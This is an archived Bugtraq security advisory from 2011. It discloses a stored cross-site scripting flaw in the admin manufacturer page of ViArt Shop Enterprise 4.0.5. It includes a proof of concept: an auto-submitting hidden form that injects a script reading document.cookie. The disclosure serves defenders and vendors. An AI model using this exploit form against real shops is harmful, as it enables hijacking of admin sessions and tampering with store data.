[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
HTB22816: XSS vulnerability in ViArt Shop
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: HTB22816: XSS vulnerability in ViArt Shop
- From: advisory@xxxxxxxxxxx
- Date: Tue, 8 Feb 2011 13:20:26 +0100 (CET)
Vulnerability ID: HTB22816
Reference:
http://www.htbridge.ch/advisory/xss_vulnerability_in_viart_shop_2.html
Product: ViArt Shop
Vendor: Viart Software ( http://www.viart.com/ )
Vulnerable Version: Enterprise v.4.0.5
Vendor Notification: 25 January 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing
(http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/admin/admin_manufacturer.php"
script to properly sanitize user-supplied input in "manufacturer_name"
variable. Successful exploitation of this vulnerability could result in a
compromise of the application, theft of cookie-based authentication
credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is
available:
<form action="http://host/admin/admin_manufacturer.php" method="post"
name="main">
<input type="hidden" name="operation" value="save">
<input type="hidden" name="manufacturer_id" value="3">
<input type="hidden" name="manufacturer_name"
value='Company"><script>alert(document.cookie)</script>'>
<input type="hidden" name="manufacturer_order" value="1">
<input type="hidden" name="friendly_url" value="">
<input type="hidden" name="affiliate_code" value="">
<input type="hidden" name="short_description" value="">
<input type="hidden" name="full_description" value="">
<input type="hidden" name="image_small"
value="images/manufacturers/small/company.gif">
<input type="hidden" name="image_small_alt" value="company">
<input type="hidden" name="image_large"
value="images/manufacturers/large/company.gif">
<input type="hidden" name="image_large_alt" value="company">
</form>
<script>
document.main.submit();
</script>